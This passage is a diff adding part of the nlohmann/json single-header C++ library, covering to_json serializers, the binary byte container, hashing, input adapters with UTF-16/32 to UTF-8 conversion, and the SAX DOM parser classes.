is_compatible_object_type::value&& !is_basic_json::value, int > = 0 > +void to_json(BasicJsonType& j, const CompatibleObjectType& obj) +{ + external_constructor::construct(j, obj); +} + +template +void to_json(BasicJsonType& j, typename BasicJsonType::object_t&& obj) +{ + external_constructor::construct(j, std::move(obj)); +} + +template < + typename BasicJsonType, typename T, std::size_t N, + enable_if_t < !std::is_constructible::value, + int > = 0 > +void to_json(BasicJsonType& j, const T(&arr)[N]) +{ + external_constructor::construct(j, arr); +} + +template < typename BasicJsonType, typename T1, typename T2, enable_if_t < std::is_constructible::value&& std::is_constructible::value, int > = 0 > +void to_json(BasicJsonType& j, const std::pair& p) +{ + j = { p.first, p.second }; +} + +// for https://github.com/nlohmann/json/pull/1134 +template>::value, int> = 0> +void to_json(BasicJsonType& j, const T& b) +{ + j = { {b.key(), b.value()} }; +} + +template +void to_json_tuple_impl(BasicJsonType& j, const Tuple& t, index_sequence /*unused*/) +{ + j = { std::get(t)... }; +} + +template::value, int > = 0> +void to_json(BasicJsonType& j, const T& t) +{ + to_json_tuple_impl(j, t, make_index_sequence::value> {}); +} + +struct to_json_fn +{ + template + auto operator()(BasicJsonType& j, T&& val) const noexcept(noexcept(to_json(j, std::forward(val)))) + -> decltype(to_json(j, std::forward(val)), void()) + { + return to_json(j, std::forward(val)); + } +}; +} // namespace detail + +/// namespace to hold default `to_json` function +namespace +{ +constexpr const auto& to_json = detail::static_const::value; +} // namespace +} // namespace nlohmann + + +namespace nlohmann +{ + +template +struct adl_serializer +{ + /*! + @brief convert a JSON value to any value type + + This function is usually called by the `get()` function of the + @ref basic_json class (either explicit or via conversion operators). + + @param[in] j JSON value to read from + @param[in,out] val value to write to + */ + template + static auto from_json(BasicJsonType&& j, ValueType& val) noexcept( + noexcept(::nlohmann::from_json(std::forward(j), val))) + -> decltype(::nlohmann::from_json(std::forward(j), val), void()) + { + ::nlohmann::from_json(std::forward(j), val); + } + + /*! + @brief convert any value type to a JSON value + + This function is usually called by the constructors of the @ref basic_json + class. + + @param[in,out] j JSON value to write to + @param[in] val value to read from + */ + template + static auto to_json(BasicJsonType& j, ValueType&& val) noexcept( + noexcept(::nlohmann::to_json(j, std::forward(val)))) + -> decltype(::nlohmann::to_json(j, std::forward(val)), void()) + { + ::nlohmann::to_json(j, std::forward(val)); + } +}; + +} // namespace nlohmann + +// #include + + +#include // uint8_t +#include // tie +#include // move + +namespace nlohmann +{ + +/*! +@brief an internal type for a backed binary type + +This type extends the template parameter @a BinaryType provided to `basic_json` +with a subtype used by BSON and MessagePack. This type exists so that the user +does not have to specify a type themselves with a specific naming scheme in +order to override the binary type. + +@tparam BinaryType container to store bytes (`std::vector` by + default) + +@since version 3.8.0 +*/ +template +class byte_container_with_subtype : public BinaryType +{ + public: + /// the type of the underlying container + using container_type = BinaryType; + + byte_container_with_subtype() noexcept(noexcept(container_type())) + : container_type() + {} + + byte_container_with_subtype(const container_type& b) noexcept(noexcept(container_type(b))) + : container_type(b) + {} + + byte_container_with_subtype(container_type&& b) noexcept(noexcept(container_type(std::move(b)))) + : container_type(std::move(b)) + {} + + byte_container_with_subtype(const container_type& b, std::uint8_t subtype) noexcept(noexcept(container_type(b))) + : container_type(b) + , m_subtype(subtype) + , m_has_subtype(true) + {} + + byte_container_with_subtype(container_type&& b, std::uint8_t subtype) noexcept(noexcept(container_type(std::move(b)))) + : container_type(std::move(b)) + , m_subtype(subtype) + , m_has_subtype(true) + {} + + bool operator==(const byte_container_with_subtype& rhs) const + { + return std::tie(static_cast(*this), m_subtype, m_has_subtype) == + std::tie(static_cast(rhs), rhs.m_subtype, rhs.m_has_subtype); + } + + bool operator!=(const byte_container_with_subtype& rhs) const + { + return !(rhs == *this); + } + + /*! + @brief sets the binary subtype + + Sets the binary subtype of the value, also flags a binary JSON value as + having a subtype, which has implications for serialization. + + @complexity Constant. + + @exceptionsafety No-throw guarantee: this member function never throws + exceptions. + + @sa @ref subtype() -- return the binary subtype + @sa @ref clear_subtype() -- clears the binary subtype + @sa @ref has_subtype() -- returns whether or not the binary value has a + subtype + + @since version 3.8.0 + */ + void set_subtype(std::uint8_t subtype) noexcept + { + m_subtype = subtype; + m_has_subtype = true; + } + + /*! + @brief return the binary subtype + + Returns the numerical subtype of the value if it has a subtype. If it does + not have a subtype, this function will return size_t(-1) as a sentinel + value. + + @return the numerical subtype of the binary value + + @complexity Constant. + + @exceptionsafety No-throw guarantee: this member function never throws + exceptions. + + @sa @ref set_subtype() -- sets the binary subtype + @sa @ref clear_subtype() -- clears the binary subtype + @sa @ref has_subtype() -- returns whether or not the binary value has a + subtype + + @since version 3.8.0 + */ + constexpr std::uint8_t subtype() const noexcept + { + return m_subtype; + } + + /*! + @brief return whether the value has a subtype + + @return whether the value has a subtype + + @complexity Constant. + + @exceptionsafety No-throw guarantee: this member function never throws + exceptions. + + @sa @ref subtype() -- return the binary subtype + @sa @ref set_subtype() -- sets the binary subtype + @sa @ref clear_subtype() -- clears the binary subtype + + @since version 3.8.0 + */ + constexpr bool has_subtype() const noexcept + { + return m_has_subtype; + } + + /*! + @brief clears the binary subtype + + Clears the binary subtype and flags the value as not having a subtype, which + has implications for serialization; for instance MessagePack will prefer the + bin family over the ext family. + + @complexity Constant. + + @exceptionsafety No-throw guarantee: this member function never throws + exceptions. + + @sa @ref subtype() -- return the binary subtype + @sa @ref set_subtype() -- sets the binary subtype + @sa @ref has_subtype() -- returns whether or not the binary value has a + subtype + + @since version 3.8.0 + */ + void clear_subtype() noexcept + { + m_subtype = 0; + m_has_subtype = false; + } + + private: + std::uint8_t m_subtype = 0; + bool m_has_subtype = false; +}; + +} // namespace nlohmann + +// #include + +// #include + +// #include + +// #include + + +#include // size_t, uint8_t +#include // hash + +namespace nlohmann +{ +namespace detail +{ + +// boost::hash_combine +inline std::size_t combine(std::size_t seed, std::size_t h) noexcept +{ + seed ^= h + 0x9e3779b9 + (seed << 6U) + (seed >> 2U); + return seed; +} + +/*! +@brief hash a JSON value + +The hash function tries to rely on std::hash where possible. Furthermore, the +type of the JSON value is taken into account to have different hash values for +null, 0, 0U, and false, etc. + +@tparam BasicJsonType basic_json specialization +@param j JSON value to hash +@return hash value of j +*/ +template +std::size_t hash(const BasicJsonType& j) +{ + using string_t = typename BasicJsonType::string_t; + using number_integer_t = typename BasicJsonType::number_integer_t; + using number_unsigned_t = typename BasicJsonType::number_unsigned_t; + using number_float_t = typename BasicJsonType::number_float_t; + + const auto type = static_cast(j.type()); + switch (j.type()) + { + case BasicJsonType::value_t::null: + case BasicJsonType::value_t::discarded: + { + return combine(type, 0); + } + + case BasicJsonType::value_t::object: + { + auto seed = combine(type, j.size()); + for (const auto& element : j.items()) + { + const auto h = std::hash {}(element.key()); + seed = combine(seed, h); + seed = combine(seed, hash(element.value())); + } + return seed; + } + + case BasicJsonType::value_t::array: + { + auto seed = combine(type, j.size()); + for (const auto& element : j) + { + seed = combine(seed, hash(element)); + } + return seed; + } + + case BasicJsonType::value_t::string: + { + const auto h = std::hash {}(j.template get_ref()); + return combine(type, h); + } + + case BasicJsonType::value_t::boolean: + { + const auto h = std::hash {}(j.template get()); + return combine(type, h); + } + + case BasicJsonType::value_t::number_integer: + { + const auto h = std::hash {}(j.template get()); + return combine(type, h); + } + + case BasicJsonType::value_t::number_unsigned: + { + const auto h = std::hash {}(j.template get()); + return combine(type, h); + } + + case BasicJsonType::value_t::number_float: + { + const auto h = std::hash {}(j.template get()); + return combine(type, h); + } + + case BasicJsonType::value_t::binary: + { + auto seed = combine(type, j.get_binary().size()); + const auto h = std::hash {}(j.get_binary().has_subtype()); + seed = combine(seed, h); + seed = combine(seed, j.get_binary().subtype()); + for (const auto byte : j.get_binary()) + { + seed = combine(seed, std::hash {}(byte)); + } + return seed; + } + + default: // LCOV_EXCL_LINE + JSON_ASSERT(false); // LCOV_EXCL_LINE + return 0; // LCOV_EXCL_LINE + } +} + +} // namespace detail +} // namespace nlohmann + +// #include + + +#include // generate_n +#include // array +#include // ldexp +#include // size_t +#include // uint8_t, uint16_t, uint32_t, uint64_t +#include // snprintf +#include // memcpy +#include // back_inserter +#include // numeric_limits +#include // char_traits, string +#include // make_pair, move + +// #include + +// #include + + +#include // array +#include // size_t +#include //FILE * +#include // strlen +#include // istream +#include // begin, end, iterator_traits, random_access_iterator_tag, distance, next +#include // shared_ptr, make_shared, addressof +#include // accumulate +#include // string, char_traits +#include // enable_if, is_base_of, is_pointer, is_integral, remove_pointer +#include // pair, declval + +// #include + +// #include + + +namespace nlohmann +{ +namespace detail +{ +/// the supported input formats +enum class input_format_t { json, cbor, msgpack, ubjson, bson }; + +//////////////////// +// input adapters // +//////////////////// + +/*! +Input adapter for stdio file access. This adapter read only 1 byte and do not use any + buffer. This adapter is a very low level adapter. +*/ +class file_input_adapter +{ + public: + using char_type = char; + + JSON_HEDLEY_NON_NULL(2) + explicit file_input_adapter(std::FILE* f) noexcept + : m_file(f) + {} + + // make class move-only + file_input_adapter(const file_input_adapter&) = delete; + file_input_adapter(file_input_adapter&&) = default; + file_input_adapter& operator=(const file_input_adapter&) = delete; + file_input_adapter& operator=(file_input_adapter&&) = delete; + + std::char_traits::int_type get_character() noexcept + { + return std::fgetc(m_file); + } + + private: + /// the file pointer to read from + std::FILE* m_file; +}; + + +/*! +Input adapter for a (caching) istream. Ignores a UFT Byte Order Mark at +beginning of input. Does not support changing the underlying std::streambuf +in mid-input. Maintains underlying std::istream and std::streambuf to support +subsequent use of standard std::istream operations to process any input +characters following those used in parsing the JSON input. Clears the +std::istream flags; any input errors (e.g., EOF) will be detected by the first +subsequent call for input from the std::istream. +*/ +class input_stream_adapter +{ + public: + using char_type = char; + + ~input_stream_adapter() + { + // clear stream flags; we use underlying streambuf I/O, do not + // maintain ifstream flags, except eof + if (is != nullptr) + { + is->clear(is->rdstate() & std::ios::eofbit); + } + } + + explicit input_stream_adapter(std::istream& i) + : is(&i), sb(i.rdbuf()) + {} + + // delete because of pointer members + input_stream_adapter(const input_stream_adapter&) = delete; + input_stream_adapter& operator=(input_stream_adapter&) = delete; + input_stream_adapter& operator=(input_stream_adapter&& rhs) = delete; + + input_stream_adapter(input_stream_adapter&& rhs) noexcept : is(rhs.is), sb(rhs.sb) + { + rhs.is = nullptr; + rhs.sb = nullptr; + } + + // std::istream/std::streambuf use std::char_traits::to_int_type, to + // ensure that std::char_traits::eof() and the character 0xFF do not + // end up as the same value, eg. 0xFFFFFFFF. + std::char_traits::int_type get_character() + { + auto res = sb->sbumpc(); + // set eof manually, as we don't use the istream interface. + if (JSON_HEDLEY_UNLIKELY(res == EOF)) + { + is->clear(is->rdstate() | std::ios::eofbit); + } + return res; + } + + private: + /// the associated input stream + std::istream* is = nullptr; + std::streambuf* sb = nullptr; +}; + +// General-purpose iterator-based adapter. It might not be as fast as +// theoretically possible for some containers, but it is extremely versatile. +template +class iterator_input_adapter +{ + public: + using char_type = typename std::iterator_traits::value_type; + + iterator_input_adapter(IteratorType first, IteratorType last) + : current(std::move(first)), end(std::move(last)) {} + + typename std::char_traits::int_type get_character() + { + if (JSON_HEDLEY_LIKELY(current != end)) + { + auto result = std::char_traits::to_int_type(*current); + std::advance(current, 1); + return result; + } + else + { + return std::char_traits::eof(); + } + } + + private: + IteratorType current; + IteratorType end; + + template + friend struct wide_string_input_helper; + + bool empty() const + { + return current == end; + } + +}; + + +template +struct wide_string_input_helper; + +template +struct wide_string_input_helper +{ + // UTF-32 + static void fill_buffer(BaseInputAdapter& input, + std::array::int_type, 4>& utf8_bytes, + size_t& utf8_bytes_index, + size_t& utf8_bytes_filled) + { + utf8_bytes_index = 0; + + if (JSON_HEDLEY_UNLIKELY(input.empty())) + { + utf8_bytes[0] = std::char_traits::eof(); + utf8_bytes_filled = 1; + } + else + { + // get the current character + const auto wc = input.get_character(); + + // UTF-32 to UTF-8 encoding + if (wc < 0x80) + { + utf8_bytes[0] = static_cast::int_type>(wc); + utf8_bytes_filled = 1; + } + else if (wc <= 0x7FF) + { + utf8_bytes[0] = static_cast::int_type>(0xC0u | ((static_cast(wc) >> 6u) & 0x1Fu)); + utf8_bytes[1] = static_cast::int_type>(0x80u | (static_cast(wc) & 0x3Fu)); + utf8_bytes_filled = 2; + } + else if (wc <= 0xFFFF) + { + utf8_bytes[0] = static_cast::int_type>(0xE0u | ((static_cast(wc) >> 12u) & 0x0Fu)); + utf8_bytes[1] = static_cast::int_type>(0x80u | ((static_cast(wc) >> 6u) & 0x3Fu)); + utf8_bytes[2] = static_cast::int_type>(0x80u | (static_cast(wc) & 0x3Fu)); + utf8_bytes_filled = 3; + } + else if (wc <= 0x10FFFF) + { + utf8_bytes[0] = static_cast::int_type>(0xF0u | ((static_cast(wc) >> 18u) & 0x07u)); + utf8_bytes[1] = static_cast::int_type>(0x80u | ((static_cast(wc) >> 12u) & 0x3Fu)); + utf8_bytes[2] = static_cast::int_type>(0x80u | ((static_cast(wc) >> 6u) & 0x3Fu)); + utf8_bytes[3] = static_cast::int_type>(0x80u | (static_cast(wc) & 0x3Fu)); + utf8_bytes_filled = 4; + } + else + { + // unknown character + utf8_bytes[0] = static_cast::int_type>(wc); + utf8_bytes_filled = 1; + } + } + } +}; + +template +struct wide_string_input_helper +{ + // UTF-16 + static void fill_buffer(BaseInputAdapter& input, + std::array::int_type, 4>& utf8_bytes, + size_t& utf8_bytes_index, + size_t& utf8_bytes_filled) + { + utf8_bytes_index = 0; + + if (JSON_HEDLEY_UNLIKELY(input.empty())) + { + utf8_bytes[0] = std::char_traits::eof(); + utf8_bytes_filled = 1; + } + else + { + // get the current character + const auto wc = input.get_character(); + + // UTF-16 to UTF-8 encoding + if (wc < 0x80) + { + utf8_bytes[0] = static_cast::int_type>(wc); + utf8_bytes_filled = 1; + } + else if (wc <= 0x7FF) + { + utf8_bytes[0] = static_cast::int_type>(0xC0u | ((static_cast(wc) >> 6u))); + utf8_bytes[1] = static_cast::int_type>(0x80u | (static_cast(wc) & 0x3Fu)); + utf8_bytes_filled = 2; + } + else if (0xD800 > wc || wc >= 0xE000) + { + utf8_bytes[0] = static_cast::int_type>(0xE0u | ((static_cast(wc) >> 12u))); + utf8_bytes[1] = static_cast::int_type>(0x80u | ((static_cast(wc) >> 6u) & 0x3Fu)); + utf8_bytes[2] = static_cast::int_type>(0x80u | (static_cast(wc) & 0x3Fu)); + utf8_bytes_filled = 3; + } + else + { + if (JSON_HEDLEY_UNLIKELY(!input.empty())) + { + const auto wc2 = static_cast(input.get_character()); + const auto charcode = 0x10000u + (((static_cast(wc) & 0x3FFu) << 10u) | (wc2 & 0x3FFu)); + utf8_bytes[0] = static_cast::int_type>(0xF0u | (charcode >> 18u)); + utf8_bytes[1] = static_cast::int_type>(0x80u | ((charcode >> 12u) & 0x3Fu)); + utf8_bytes[2] = static_cast::int_type>(0x80u | ((charcode >> 6u) & 0x3Fu)); + utf8_bytes[3] = static_cast::int_type>(0x80u | (charcode & 0x3Fu)); + utf8_bytes_filled = 4; + } + else + { + utf8_bytes[0] = static_cast::int_type>(wc); + utf8_bytes_filled = 1; + } + } + } + } +}; + +// Wraps another input apdater to convert wide character types into individual bytes. +template +class wide_string_input_adapter +{ + public: + using char_type = char; + + wide_string_input_adapter(BaseInputAdapter base) + : base_adapter(base) {} + + typename std::char_traits::int_type get_character() noexcept + { + // check if buffer needs to be filled + if (utf8_bytes_index == utf8_bytes_filled) + { + fill_buffer(); + + JSON_ASSERT(utf8_bytes_filled > 0); + JSON_ASSERT(utf8_bytes_index == 0); + } + + // use buffer + JSON_ASSERT(utf8_bytes_filled > 0); + JSON_ASSERT(utf8_bytes_index < utf8_bytes_filled); + return utf8_bytes[utf8_bytes_index++]; + } + + private: + BaseInputAdapter base_adapter; + + template + void fill_buffer() + { + wide_string_input_helper::fill_buffer(base_adapter, utf8_bytes, utf8_bytes_index, utf8_bytes_filled); + } + + /// a buffer for UTF-8 bytes + std::array::int_type, 4> utf8_bytes = {{0, 0, 0, 0}}; + + /// index to the utf8_codes array for the next valid byte + std::size_t utf8_bytes_index = 0; + /// number of valid bytes in the utf8_codes array + std::size_t utf8_bytes_filled = 0; +}; + + +template +struct iterator_input_adapter_factory +{ + using iterator_type = IteratorType; + using char_type = typename std::iterator_traits::value_type; + using adapter_type = iterator_input_adapter; + + static adapter_type create(IteratorType first, IteratorType last) + { + return adapter_type(std::move(first), std::move(last)); + } +}; + +template +struct is_iterator_of_multibyte +{ + using value_type = typename std::iterator_traits::value_type; + enum + { + value = sizeof(value_type) > 1 + }; +}; + +template +struct iterator_input_adapter_factory::value>> +{ + using iterator_type = IteratorType; + using char_type = typename std::iterator_traits::value_type; + using base_adapter_type = iterator_input_adapter; + using adapter_type = wide_string_input_adapter; + + static adapter_type create(IteratorType first, IteratorType last) + { + return adapter_type(base_adapter_type(std::move(first), std::move(last))); + } +}; + +// General purpose iterator-based input +template +typename iterator_input_adapter_factory::adapter_type input_adapter(IteratorType first, IteratorType last) +{ + using factory_type = iterator_input_adapter_factory; + return factory_type::create(first, last); +} + +// Convenience shorthand from container to iterator +template +auto input_adapter(const ContainerType& container) -> decltype(input_adapter(begin(container), end(container))) +{ + // Enable ADL + using std::begin; + using std::end; + + return input_adapter(begin(container), end(container)); +} + +// Special cases with fast paths +inline file_input_adapter input_adapter(std::FILE* file) +{ + return file_input_adapter(file); +} + +inline input_stream_adapter input_adapter(std::istream& stream) +{ + return input_stream_adapter(stream); +} + +inline input_stream_adapter input_adapter(std::istream&& stream) +{ + return input_stream_adapter(stream); +} + +using contiguous_bytes_input_adapter = decltype(input_adapter(std::declval(), std::declval())); + +// Null-delimited strings, and the like. +template < typename CharT, + typename std::enable_if < + std::is_pointer::value&& + !std::is_array::value&& + std::is_integral::type>::value&& + sizeof(typename std::remove_pointer::type) == 1, + int >::type = 0 > +contiguous_bytes_input_adapter input_adapter(CharT b) +{ + auto length = std::strlen(reinterpret_cast(b)); + const auto* ptr = reinterpret_cast(b); + return input_adapter(ptr, ptr + length); +} + +template +auto input_adapter(T (&array)[N]) -> decltype(input_adapter(array, array + N)) +{ + return input_adapter(array, array + N); +} + +// This class only handles inputs of input_buffer_adapter type. +// It's required so that expressions like {ptr, len} can be implicitely casted +// to the correct adapter. +class span_input_adapter +{ + public: + template < typename CharT, + typename std::enable_if < + std::is_pointer::value&& + std::is_integral::type>::value&& + sizeof(typename std::remove_pointer::type) == 1, + int >::type = 0 > + span_input_adapter(CharT b, std::size_t l) + : ia(reinterpret_cast(b), reinterpret_cast(b) + l) {} + + template::iterator_category, std::random_access_iterator_tag>::value, + int>::type = 0> + span_input_adapter(IteratorType first, IteratorType last) + : ia(input_adapter(first, last)) {} + + contiguous_bytes_input_adapter&& get() + { + return std::move(ia); + } + + private: + contiguous_bytes_input_adapter ia; +}; +} // namespace detail +} // namespace nlohmann + +// #include + + +#include +#include // string +#include // move +#include // vector + +// #include + +// #include + + +namespace nlohmann +{ + +/*! +@brief SAX interface + +This class describes the SAX interface used by @ref nlohmann::json::sax_parse. +Each function is called in different situations while the input is parsed. The +boolean return value informs the parser whether to continue processing the +input. +*/ +template +struct json_sax +{ + using number_integer_t = typename BasicJsonType::number_integer_t; + using number_unsigned_t = typename BasicJsonType::number_unsigned_t; + using number_float_t = typename BasicJsonType::number_float_t; + using string_t = typename BasicJsonType::string_t; + using binary_t = typename BasicJsonType::binary_t; + + /*! + @brief a null value was read + @return whether parsing should proceed + */ + virtual bool null() = 0; + + /*! + @brief a boolean value was read + @param[in] val boolean value + @return whether parsing should proceed + */ + virtual bool boolean(bool val) = 0; + + /*! + @brief an integer number was read + @param[in] val integer value + @return whether parsing should proceed + */ + virtual bool number_integer(number_integer_t val) = 0; + + /*! + @brief an unsigned integer number was read + @param[in] val unsigned integer value + @return whether parsing should proceed + */ + virtual bool number_unsigned(number_unsigned_t val) = 0; + + /*! + @brief an floating-point number was read + @param[in] val floating-point value + @param[in] s raw token value + @return whether parsing should proceed + */ + virtual bool number_float(number_float_t val, const string_t& s) = 0; + + /*! + @brief a string was read + @param[in] val string value + @return whether parsing should proceed + @note It is safe to move the passed string. + */ + virtual bool string(string_t& val) = 0; + + /*! + @brief a binary string was read + @param[in] val binary value + @return whether parsing should proceed + @note It is safe to move the passed binary. + */ + virtual bool binary(binary_t& val) = 0; + + /*! + @brief the beginning of an object was read + @param[in] elements number of object elements or -1 if unknown + @return whether parsing should proceed + @note binary formats may report the number of elements + */ + virtual bool start_object(std::size_t elements) = 0; + + /*! + @brief an object key was read + @param[in] val object key + @return whether parsing should proceed + @note It is safe to move the passed string. + */ + virtual bool key(string_t& val) = 0; + + /*! + @brief the end of an object was read + @return whether parsing should proceed + */ + virtual bool end_object() = 0; + + /*! + @brief the beginning of an array was read + @param[in] elements number of array elements or -1 if unknown + @return whether parsing should proceed + @note binary formats may report the number of elements + */ + virtual bool start_array(std::size_t elements) = 0; + + /*! + @brief the end of an array was read + @return whether parsing should proceed + */ + virtual bool end_array() = 0; + + /*! + @brief a parse error occurred + @param[in] position the position in the input where the error occurs + @param[in] last_token the last read token + @param[in] ex an exception object describing the error + @return whether parsing should proceed (must return false) + */ + virtual bool parse_error(std::size_t position, + const std::string& last_token, + const detail::exception& ex) = 0; + + virtual ~json_sax() = default; +}; + + +namespace detail +{ +/*! +@brief SAX implementation to create a JSON value from SAX events + +This class implements the @ref json_sax interface and processes the SAX events +to create a JSON value which makes it basically a DOM parser. The structure or +hierarchy of the JSON value is managed by the stack `ref_stack` which contains +a pointer to the respective array or object for each recursion depth. + +After successful parsing, the value that is passed by reference to the +constructor contains the parsed value. + +@tparam BasicJsonType the JSON type +*/ +template +class json_sax_dom_parser +{ + public: + using number_integer_t = typename BasicJsonType::number_integer_t; + using number_unsigned_t = typename BasicJsonType::number_unsigned_t; + using number_float_t = typename BasicJsonType::number_float_t; + using string_t = typename BasicJsonType::string_t; + using binary_t = typename BasicJsonType::binary_t; + + /*! + @param[in, out] r reference to a JSON value that is manipulated while + parsing + @param[in] allow_exceptions_ whether parse errors yield exceptions + */ + explicit json_sax_dom_parser(BasicJsonType& r, const bool allow_exceptions_ = true) + : root(r), allow_exceptions(allow_exceptions_) + {} + + // make class move-only + json_sax_dom_parser(const json_sax_dom_parser&) = delete; + json_sax_dom_parser(json_sax_dom_parser&&) = default; + json_sax_dom_parser& operator=(const json_sax_dom_parser&) = delete; + json_sax_dom_parser& operator=(json_sax_dom_parser&&) = default; + ~json_sax_dom_parser() = default; + + bool null() + { + handle_value(nullptr); + return true; + } + + bool boolean(bool val) + { + handle_value(val); + return true; + } + + bool number_integer(number_integer_t val) + { + handle_value(val); + return true; + } + + bool number_unsigned(number_unsigned_t val) + { + handle_value(val); + return true; + } + + bool number_float(number_float_t val, const string_t& /*unused*/) + { + handle_value(val); + return true; + } + + bool string(string_t& val) + { + handle_value(val); + return true; + } + + bool binary(binary_t& val) + { + handle_value(std::move(val)); + return true; + } + + bool start_object(std::size_t len) + { + ref_stack.push_back(handle_value(BasicJsonType::value_t::object)); + + if (JSON_HEDLEY_UNLIKELY(len != std::size_t(-1) && len > ref_stack.back()->max_size())) + { + JSON_THROW(out_of_range::create(408, + "excessive object size: " + std::to_string(len))); + } + + return true; + } + + bool key(string_t& val) + { + // add null at given key and store the reference for later + object_element = &(ref_stack.back()->m_value.object->operator[](val)); + return true; + } + + bool end_object() + { + ref_stack.pop_back(); + return true; + } + + bool start_array(std::size_t len) + { + ref_stack.push_back(handle_value(BasicJsonType::value_t::array)); + + if (JSON_HEDLEY_UNLIKELY(len != std::size_t(-1) && len > ref_stack.back()->max_size())) + { + JSON_THROW(out_of_range::create(408, + "excessive array size: " + std::to_string(len))); + } + + return true; + } + + bool end_array() + { + ref_stack.pop_back(); + return true; + } + + template + bool parse_error(std::size_t /*unused*/, const std::string& /*unused*/, + const Exception& ex) + { + errored = true; + static_cast(ex); + if (allow_exceptions) + { + JSON_THROW(ex); + } + return false; + } + + constexpr bool is_errored() const + { + return errored; + } + + private: + /*! + @invariant If the ref stack is empty, then the passed value will be the new + root. + @invariant If the ref stack contains a value, then it is an array or an + object to which we can add elements + */ + template + JSON_HEDLEY_RETURNS_NON_NULL + BasicJsonType* handle_value(Value&& v) + { + if (ref_stack.empty()) + { + root = BasicJsonType(std::forward(v)); + return &root; + } + + JSON_ASSERT(ref_stack.back()->is_array() || ref_stack.back()->is_object()); + + if (ref_stack.back()->is_array()) + { + ref_stack.back()->m_value.array->emplace_back(std::forward(v)); + return &(ref_stack.back()->m_value.array->back()); + } + + JSON_ASSERT(ref_stack.back()->is_object()); + JSON_ASSERT(object_element); + *object_element = BasicJsonType(std::forward(v)); + return object_element; + } + + /// the parsed JSON value + BasicJsonType& root; + /// stack to model hierarchy of values + std::vector ref_stack {}; + /// helper to hold the reference for the next object element + BasicJsonType* object_element = nullptr; + /// whether a syntax error occurred + bool errored = false; + /// whether to throw exceptions in case of errors + const bool allow_exceptions = true; +}; + +template +class json_sax_dom_callback_parser +{ + public: + using number_integer_t = typename BasicJsonType::number_integer_t; + using number_unsigned_t = typename BasicJsonType::number_unsigned_t; + using number_float_t = typename BasicJsonType::number_float_t; + using string_t = typename BasicJsonType::string_t; + using binary_t = typename BasicJsonType::binary_t; + using parser_callback_t = typename BasicJsonType::parser_callback_t; + using parse_event_t = typename BasicJsonType::parse_event_t; + + json_sax_dom_callback_parser(BasicJsonType& r, + const parser_callback_t cb, + const bool allow_exceptions_ = true) + : root(r), callback(cb), allow_exceptions(allow_exceptions_) + { + keep_stack.push_back(true); + } + + // make class move-only + json_sax_dom_callback_parser(const json_sax_dom_callback_parser&) = delete; + json_sax_dom_callback_parser(json_sax_dom_callback_parser&&) = default; + json_sax_dom_callback_parser& operator=(const json_sax_dom_callback_parser&) = delete; + json_sax_dom_callback_parser& operator=(json_sax_dom_callback_parser&&) = default; + ~json_sax_dom_callback_parser() = default; + + bool null() + { + handle_value(nullptr); + return true; + } + + bool boolean(bool val) + { + handle_value(val); + return true; + } + + bool number_integer(number_integer_t val) + { + handle_value(val); + return true; + } + + bool number_unsigned(number_unsigned_t val) + { + handle_value(val); + return true; + } + + bool number_float(number_float_t val, const string_t& /*unused*/) + { + handle_value(val); + return true; + } + + bool string(string_t& val) + { + handle_value(val); + return true; + } + + bool binary(binary_t& val) + { + handle_value(std::move(val)); + return true; + } + + bool start_object(std::size_t len) + { + // check callback for object start + const bool keep = callback(static_cast(ref_stack.size()), parse_event_t::object_start, discarded); + keep_stack.push_back(keep); + + auto val = handle_value(BasicJsonType::value_t::object, true); + ref_stack.push_back(val.second); + + // check object limit + if (ref_stack.back() && JSON_HEDLEY_UNLIKELY(len != std::size_t(-1) && len > ref_stack.back()->max_size())) + { + JSON_THROW(out_of_range::create(408, "excessive object size: " + std::to_string(len))); + } + + return true; + } + + bool key(string_t& val) + { + BasicJsonType k = BasicJsonType(val); + + // check callback for key + const bool keep = callback(static_cast(ref_stack.size()), parse_event_t::key, k); + key_keep_stack.push_back(keep); + + // add discarded value at given key and store the reference for later + if (keep && ref_stack.back()) + { + object_element = &(ref_stack.back()->m_value.object->operator[](val) = discarded); + } + + return true; + } + + bool end_object() + { + if (ref_stack.back() && !callback(static_cast(ref_stack.size()) - 1, parse_event_t::object_end, *ref_stack.back())) + { + // discard object + *ref_stack.back() = discarded; + } + + JSON_ASSERT(!ref_stack.empty()); + JSON_ASSERT(!keep_stack.empty()); + ref_stack.pop_back(); + keep_stack.pop_back(); + + if (!ref_stack.empty() && ref_stack.back() && ref_stack.back()->is_structured()) + { + // remove discarded value + for (auto it = ref_stack.back()->begin(); it != ref_stack.back()->end(); ++it) + { + if (it->is_discarded()) + { + ref_stack.back()->erase(it); + break; + } + } + } + + return true; + } + + bool start_array(std::size_t len) + { + const bool keep = callback(static_cast(ref_stack.size()), parse_event_t::array_start, discarded); + keep_stack.push_back(keep); + + auto val = handle_value(BasicJsonType::value_t::array, true); + ref_stack.push_back(val.second); + + // check array limit + if (ref_stack.back() && JSON_HEDLEY_UNLIKELY(len != std::size_t(-1) && len > ref_stack.back()->max_size())) + { + JSON_THROW(out_of_range::create(408, "excessive array size: " + std::to_string(len))); + } + + return true; + } + + bool end_array() + { + bool keep = true; + + if (ref_stack.back()) + { + keep = callback(static_cast(ref_stack.size()) - 1, parse_event_t::array_end, *ref_stack.back()); + if (!keep) + { + // discard array + *ref_stack.back() = discarded; + } + } + + JSON_ASSERT(!ref_stack.empty()); + JSON_ASSERT(!keep_stack.empty()); + ref_stack.pop_back(); + keep_stack.pop_back(); + + // remove discarded value + if (!keep && !ref_stack.empty() && ref_stack.back()->is_array()) + { + ref_stack.back()->m_value.array->pop_back(); + } + + return true; + } + + template + bool parse_error(std::size_t /*unused*/, const std::string& /*unused*/, + const Exception& ex) + { + errored = true; + static_cast(ex); + if (allow_exceptions) + { + JSON_THROW(ex); + } + return false; + } + + constexpr bool is_errored() const + { + return errored; + } + + private: + /*! + @param[in] v value to add to the JSON value we build during parsing + @param[in] skip_callback whether we should skip calling the callback + function; this is required after start_array() and + start_object() SAX events, because otherwise we would call the + callback function with an empty array or object, respectively. + + @invariant If the ref stack is empty, then the passed value will be the new + root. + @invariant If the ref stack contains a value, then it is an array or an + object to which we can add elements + + @return pair of boolean (whether value should be kept) and pointer (to the + passed value in the ref_stack hierarchy; nullptr if not kept) + */ + template + std::pair handle_value(Value&& v, const bool skip_callback = false) + { + JSON_ASSERT(!keep_stack.empty()); + + // do not handle this value if we know it would be added to a discarded + // container + if (!keep_stack.back()) + { + return {false, nullptr}; + } + + // create value + auto value = BasicJsonType(std::forward(v)); + + // check callback + const bool keep = skip_callback || callback(static_cast(ref_stack.size()), parse_event_t::value, value); + + // do not handle this value if we just learnt it shall be discarded + if (!keep) + { + return {false, nullptr}; + } + + if 